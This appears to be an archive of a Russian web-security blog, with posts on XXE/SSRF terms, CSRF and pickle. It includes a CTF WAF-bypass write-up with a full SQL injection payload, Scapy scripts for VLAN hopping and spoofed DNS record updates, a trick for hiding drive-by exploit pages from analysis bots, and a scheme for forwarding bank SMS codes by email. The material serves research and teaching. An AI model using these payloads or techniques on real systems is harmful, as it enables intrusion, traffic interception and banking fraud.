Архив
Совместный удаленный доступ к ДБО
Решил поделиться решением задачи по совместному удаленному доступу к ДБО, вдруг кому-то будет полезно.
Итак, дано:
Есть доступ в систему ДБО. Логин-пароль, вход подтверждается по SMS, вход возможен только при наличии eToken’а класса Aladdin Pro. Подпись документов, отправляемых в банк, происходит тоже с помощью ключей.
Требуется:
Организовать возможность доступа в систему ДБО в общем случае N удаленных людей.
Решение:
Вся инфраструктура в нашей локальной сети доступна удаленным пользователям через OpenVPN. В локальной сети поднимается виртуальная машина, в хост в USB вставляется eToken и подключается к виртуальной машине. На виртуальную машину устанавливается ПО USB over Network, которое позволяет подключить удаленное USB-устройство к локальной машине так же, как если бы оно было вставлено в локальный USB-порт. Далее eToken расшаривается для удаленного доступа, конечно с паролем.
Теперь SMS. Берется любой планшет или телефон на Android, ставится программа SMS Forwarder, в которой задается правило: все смс с такого-то номера отправлять на такие-то почтовые адреса. Android-устройство подключатся к WiFi-сети нашей инфраструктуры. Очевидно, в устройстве должна стоять та SIM-карта, на которую приходят одноразовые пароли.
Works like Charm.
p.s. Чего-то мне кажется, что всякие банковские трояны используют эту схему уже давно. Полагаю, спецы подтвердят.
Термины, XXE, SSRF и все-все-все
Написать пост меня сподвиг вот этот диалог, приключившийся в твиттере третьего дня.
Преамбула: в терминологии и в классификациях в нашей области полная разруха.
Во-первых, почти все называют уязвимости по названиям атак (см. SQLi/XSS). A side note: кстати, если вы не читали пост Владимира Кочеткова про XSS, вы просто обязаны это сделать!.
Во-вторых, умудряются классифицировать недостатки по типам атак, которые, в свою очередь, определяют вперемешку то по цели воздействия, то по способу воздействия. Пример классификации, которую я видел лично: есть класс «DoS» (цель), следом идет класс «Input Validation» (причина) и рядом же — класс «Parameter Tampering» (способ). Как будто не может быть недостатка, связанного с некорректной обработкой входных данных, благодаря которому можно устроить DoS, но только через «Parameter Tampering». Пример — DROP всего через SQLi через HPP в значении hidden-поля.
Амбула: препарируем SSRF :)
SSRF = Server-Side Request Forgery. Кто-то, возможно, посчитает, что термин классический. Лично для меня он прост и понятен — его уже который год вокруг употребляют то Владимир Воронцов [тыц], то Александр Поляков [тыц].
С другой стороны, если погуглить «Server-Side Request Forgery», окажется, что упоминаний термина не очень-то и много. Кроме того, «пацаны, оказывается, не в курсе»: один исследователь известную всем нам идею обозвал собственноручно придуманным именем — XSPA, а Дж. Гроссман вообще подумал про свое-другое…
Так вот, с моей точки зрения, XXE — это, конечно, свойство приложения. Свойство заключается в том, что парсер приложения небезопасно разрешает XML-сущности, определенные клиентом. Обычно каждый недостаток можно использовать в различных целях и различными способами: отличный пример тот же SQLi в целях считывания базы и в целях обхода аутентификации в форме логина.
Так вот, XXE — enabling свойство для таких действий удаленного клиента, как чтение локальных файлов или запрос сетевого ресурса по URI. Как не всякий недостаток является уязвимостью, так же и не всякая новая возможность дополнительных действий удаленного пользователя в отношении веб-приложения является атакой.
На мой взгляд, в правильно сконфигурированной системе возможность делать сетевые запросы по URI через XXE не должна давать удаленному пользователю дополнительные бонусы. Правильно сконфигурированная система — это система, в которой выполняется принцип ограниченности потенциального ущерба (и, как следствие, принцип наименьших привилегий). В такой системе будут запрещены лишние сетевые соединения с сервера приложений к другим узлам в DMZ, а необходимые соединения будут устанавливаться только после взаимной аутентификации и авторизации сторон. Мне представляется, что в такой системе SSRF — всего лишь недокументированная фича приложения, не позволяющая сделать ничего нового.
Соответственно, если принцип ограниченности потенциального ущерба не выполняется, то можно говорить о том, что с помощью SSRF мы злоупотребляем отношением доверия между внутренними сервисами. И тогда эта техника уже является слагаемым известного класса атак под названием Exploitation of Trust. И тогда еще одной причиной атаки можно называть небезопасную конфигурацию или даже кривой проект взаимодействия систем! Как вам такая софистика?
Прохождение конкурса WAF Bypass на PHD’2012
Одним из конкурсов на форуме PHD 2012 был WAF Bypass, который организовала компания ONsec.
Суть конкурса достаточно проста. Дано веб-приложение, принимающее один-единственный параметр. Обработка параметра на стороне веб-приложения осуществляется без должной фильтрации, а сам параметр используется в SQL-запросе. Да-да, наличие недостатка «Возможность внедрения операторов языка SQL» никто не скрывает. Приложение защищено WAF’ом.
Требуется получить данные из таблицы с заданным именем.
Стоит отметить, что задание можно было выполнять с различными backend-СУБД: MySQL и PostgreSQL.
О конкурсе мы с Георгием Носеевичем узнали в конце первого дня форума, добравшись по домам. Одновременно же узнали о выходе предпоследней серии Game of Thrones, которая была немедленно скачана, спасибо LostFilm, и поставлена для просмотра. Достаточно забавно, но мы штурмовали WAF примерно столько же и примерно с такой же композиционной структурой, как и войска Станиса Баратеона — Королевскую Гавань. Только с противоположным исходом :)
Итак, для начала мы должны были понять, чем руководствуется WAF при принятии решений о блокировке/пропуске запросов к приложению. Ключевые слова SQL (UNION, LIMIT, SUBSTRING и пр.) по отдельности и в обычном тексте не фильтровались. Логично: иначе бы на форум, защищенный таким WAF’ом, нельзя было отправить пост про ограничения в Советстком Союзе!
Для знаков пунктуации (точка, запятая, скобки, кавычки) наблюдалось немного другое поведение: в тексте — ок, отдельно — не ок. Дальнейшее исследование данного поведения привело нас к предположению о том, что решение о вредоносности запроса нелинейно зависит от относительной плотности знаков пунктуации. Так, запрос со значением abc.a.bc блокировался, а запрос со значением abc.aaaaaaaaaaaaaaaaaaaaaaa.bc — уже нет.
Далее мы выдвинули рабочую гипотезу о том, что произвольный SQL-запрос можно преобразовать к виду, в котором между любыми двумя соседними знаками пунктуации будет произвольное число обычных знаков, а семантика запроса сохранится прежней.
Гипотеза была отправлена в работу. Смотрели для СУБД postgresql. Итак, вот правила преобразований, которые мы сформулировали:
1. Любое логическое выражение может быть преобразовано к эквивалентному путем добавления произвольного количества конъюнкций с истиной: expr and true.
2. Любое число N может быть представлено в виде case when true then N else 0 end.
3. Любая строка ‘secret’ может быть преобразована к виду substr(case when true then ‘secretsecretsecret’ else null end, 1, 6).
4. Любой вложенный вызов функций f1(f2()) может быть преобразован к виду f1(case when true then f2() else null end).
5. Правила надо применять к целевому SQL-запросу рекурсивно — сначала 4-ое правило для вложенных функций, потом 3-ье правило для строк, потом до тех пор, пока WAF срабатывает, применять правила для преобразования чисел и логических выражений.
Далее Георгий Носеевич реализовал этот алгоритм на Питоне, и мы применили его к базовому SQL-запросу, который мог бы проэксплуатировать уязвимость в отсутствие WAF’а:
http://waf.phdays.com/postgres.php?l=a’||cast(cast(table_to_xml(‘public.secrets’,true,true,login) as text) as integer)—
в результате отработки алгоритма получили вот такой вот вектор:
http://waf.phdays.com/postgres.php?l=a’||cast(case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then cast(case when true and true and true and true and true and true then table_to_xml(case when true then ‘public.secrets’ else login end,true and true, true and true,case when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then login else login end) when true and true and true and true and true and true and true and true and true and true then null end as text) when true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true and true then null end as integer)—
и долгожданный флаг — 4e84a5534f3433a6f8277629de58d9bd.
Большое спасибо Владимиру Воронцову за интересный конкурс, в котором мы с большим удовольствием смогли использовать научный подход :)
Сам Владимир написал про идею решения этого конкурса у себя в блоге (да, там, конечно, в квантиллион раз проще, чем у нас!).
И, конечно, отдельное спасибо за призы от организаторов. Даешь новых конкурсов по WAF bypass!
Drive-by-Download: еще один способ отличить человека от робота
Напомню, что целью атак Drive-by-Download является распространение вредоносного кода, а реализуются они через привлечение жертв на вредоносный сайт с последующей эксплуатацией уязвимостей в ПО (браузер, flashplayer, pdfviewer, компоненты ActiveX и т.п.).
Для того, чтобы вредоносный сайт подольше жил, злоумышленники предпринимают целый ряд защитных мер (о них подробно написано в нашей статье «Drive-by-Download по-тихому или Маскируем вредоносные сайты от wepawet и его друзей» в сентябрьском номере Хакера), среди которых:
— отделяют уязвимых пользователей от неуязвимых (страницу с эксплойтом не хочется показывать абы кому);
— отделяют посетителей-человеков от роботов (роботы, а тем более боты всяких AV-производителей мало того, что не подвержены эксплойтам, так они еще могут заклеймить домен как вредоносный, что приведет к снижению времени его эффективной работы);
— отделяют новых посетителей от возвращающихся (вредоносному сайту не нужно повышенное внимание).
… и т.п.
Сегодня я хочу поделиться с вами одной идеей, с помощью которой можно отделить роботов от человеков. Итак, задача (упрощенно):
1. Есть страница X, на которую приходят (перенаправляются) посетители, в отношении коих будет проводиться атака Drive-by-Download.
2. Есть страница Y, на которой размещен непосредственно эксплойт.
Требуется: реализовать переход со страницы X на страницу Y таким образом, чтобы до страницы Y не дошли роботы, но дошли все или почти все человеки.
Усложним себе задачу, сделав следующие допущения:
1. Все роботы умеют интерпретировать Javascript. Иначе задача решается тривиально.
2. Все роботы построены на основе WebKit, а пользователи работают из-под браузера Google Chrome. Таким образом, методы fingerprinting’а также не применимы.
Сначала перечислим well-known варианты решения:
1. CAPTCHA. Не годится, ибо мы хотим свести к минимуму взаимодействие с пользователем. Кроме того, CAPTCHA на простой странице вызывает подозрения.
2. Можно регистрировать события от мыши и клавиатуры: мол, если есть — то человек, иначе — электронный болван. Но такие события эмулируются на раз.
Что же предлагается? Идея заключается в том, что типичные пользователи до автоматизма довели свою реакцию на раздражающие факторы: всплывающую рекламу или звук — немедленно выключить. Таким образом, делаем следующее: при переходе на нашу страницу пользователю демонстрируем всплывающую рекламу (полностью отрисованную с помощью Javascript), заслоняющую почти всю страницу. Нормальный пользователь тут же закроет такую рекламу. Бот — нет. Соответственно, зарегистрировав закрытие такого окна, перенаправляем пользователя на страницу Y, в противном случае — на сайт Диснейленда.
Обсуждая эту идею с Владимиром Воронцовым, получил справедливую критику метода: а что если с помощью WebKit мы будем делать скриншоты текущего окна (пример, как это работает — тут) и распознавать в полученных картинках крестики для закрытия рекламы, вычислять X и Y и эмулировать туда click мышью?
Можно в самой рекламе разместить много похожих крестиков. Например, показать смеющуюся японскую девочку anime-style — у них, как известно, глазки крестиком :)
Если мысль моя не нова, прошу кинуть ссылкой на первоисточник. Google мне ничего не сказал…
The Tangled Web
Являясь давним поклонником таланта Михаила Залевского, постоянно слежу за тем, что же делает гуру безопасности. Из его последних полезных проектов можно отметить:
- Книгу Silence on the Wire;
- Сборник информации по безопасности браузеров — Browser Security Handbook;
- Сканер веб-приложений с открытым исходным кодом skipfish.
И вот очередной релиз — книга "The tangled web". Лично я, ознакомившись с содержанием, уже сделал предзаказ. Кроме того, думаю сделать эту книгу базовой для студентов, которые приходят на веб-безопасность в нашу лабу. Кстати, издатель недавно выложил одну из глав новой книги, которая доступна вот тут.
Ну и в заключении список наиболее интересных постов Михаила с моей скромной точки зрения:
Покой нам только снится или XSS @ WAF Bypass @ CC’11
Говорят, отпуск с ноутбуком называется fuckation.
В первый же день своего отпуска на море не смог удержаться и расчехлил ноутбук, а там — конкурс по обходу WAF, подготовленный Владимиром Воронцовым и ONSEC, доступен в Интернете! Неожиданно!
До трансляции матча ЦСКА-Спартак оставалось всего два часа, которые было решено потратить на прохождение задания по XSS (мне XSS всегда больше нравится, чем SQLi). Тег «Далее»
Python, pickle и внедрение кода
Всем хорошо известны последствия передачи сериализованных объектов PHP на сторону клиента: будет плохо. В Питоне также предусмотрена функциональность по сериализации данных — она реализована, в частности, в библиотеке pickle. Об ней-то, но в разрезе безопасности я и хотел бы поговорить поподробнее. Тег «Далее»
Scapy: швейцарский нож пентестера
Типичной задачей во время тестирования защищенности сетевой инфраструктуры является spoofing служебных протоколов: ARP, DHCP, DNS, SNMP и т.п. Вот лишь небольшой перечень интересных тестов:
— ARP spoofing/DNS spoofing;
— VLAN hopping;
— управление DNS-сервером с помощью DNS Update‘ов с IP-адресов из management-сегмента (не без IP spoofing);
— управление сетевыми устройствами через SNMP с IP-адресов из management-сегмента (не без IP spoofing).
Для проведения каждой атаки есть специализированные инструменты. Однако мне больше по нраву Scapy — настоящий швейцарский нож. Scapy позволяет написать на питоне небольшой сценарий по отправке пакетов практически с произвольным содержанием полей! Например, добавить два, три, чытере VLAN-тега:
sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='00:01:02:03:04:05')/Dot1Q(vlan=1)/Dot1Q(vlan=10)/IP(dst='255.255.255.255', src='192.168.0.1')/ICMP())
А вот как можно использовать DNS Update с подменой IP-адреса для управления A-записями локального DNS-сервера:
e=Ether()
i=IP(src="192.168.128.58",dst="10.10.0.253")
u=UDP(sport=5353,dport=53)
dns=DNS()
dns.id=12345
dns.opcode=5
dns.qdcount=1
dns.ancount=1
dns.nscount=1
dns.qd=DNSQR(qname="company.any",qtype="SOA",qclass="IN")
dns.an=DNSRR(rrname="portal.company.any",rclass="ANY",type=255,ttl=0)
dns.ns=DNSRR(rrname="portal.company.any",rclass="ANY",type=255,ttl=0)
sendp(e/i/u/dns)
dns.ancount=0
dns.an=None
dns.ns=DNSRR(rrname="portal.company.any",type="A",ttl=200,rdata="10.1.3.13")
sendp(e/i/u/dns)
Где 10.10.0.253 — адрес DNS-сервера, 192.168.128.58 — адрес из management-сегмента (а иначе DNS-сервер не примет Update), а 10.1.3.13 — адрес нашего хоста, на котором мы поднимем прокси-сервер и будем слушать HTTP-трафик, идущий на корпоративный портал portal.company.any.
Список поддерживаемых протоколов внушает (можно даже лепить кадры протокола 802.11, который ВиФи). Всем интересующимся очень рекомендую познакомиться — обязательно полюбите этот инструмент.
CSRF в обход заголовка X-Requested-With
До недавнего времени хорошей защитой от CSRF-атак при активном использовании в приложении XHR-запросов считалось добавление в запрос заголовка
X-Requested-With: XMLHttpRequest.
Логика простая: коль скоро браузеры обеспечивают (окей, должны обеспечивать) same origin policy, то у атакующего не должно получаться построить кросс-доменный запрос с заданным заголовком. Многие сайты и фреймворки (в т.ч. Django, Ruby on Rails) использовали именно этот метод защиты от CSRF.
И все было хорошо до тех пор, пока товарищ Felix Gröbert из Google Security Team не нашел комбинацию условий, при которых злоумышленник сможет легитимно (т.е. не используя баги браузеров) осуществлять кросс-доменные запросы с заданным заголовком (в нашем случае — это X-Requested-With: XMLHttpRequest).
Детали атаки пока не разглашаются, но производители фреймворков вовсю выпускают патчи.
В общем, настоятельно рекомендуется:
— всем пользователям фреймворков Django и Ruby on Rails установить обновления безопасности;
— всем вычеркнуть из контрмер против CSRF использование заголовка X-Requested-With.
Update. Описание принципа атаки.
P.s. Offtopic. Также рекомендую посмотреть вот это творение от небезызсвестного Михаила Залевского (Michal Zalewski).
XSS Rays
Не могу не отметить выход в свет релиза (1.0) очередного инструмента от небезызвестного Гарета Хейеса (Gareth Heyes). Инструмент называется «XSS Rays» и является расширением к браузеру Google Chrome.
Со всеми возможностями инструмента можно ознакомиться на странице автора. Я же отмечу то, что меня поразило больше всего: возможность обратной инженерии логики XSS-фильтра, который работает на стороне сервера. О чем речь?
Представим ситуацию: веб-страница, на ней — форма, в которую вводится параметр; после отправки формы на сервер возвращается страница, в которую выведено значение параметра. Основными задачами при оценки уязвимости такой формы к атакам XSS являются:
— определение тэгов, которые не фильтруются веб-приложением;
— определение допустимых атрибутов для каждого нефильтруемого тэга;
— определение символов, которые удаляются XSS-фильтром;
— определение символов, которые кодируются в HTML-сущности.
И все это делает «XSS Rays»! Сам Гарет предлагает провести тест его инструмента на задачке XSSme, которую выложил Mario Heiderich: http://heideri.ch/xmas2?test=abc. Решить эту задачку с таким подспорьем можно за считанные минуты.
Безопасность веб-приложений: просто о сложном 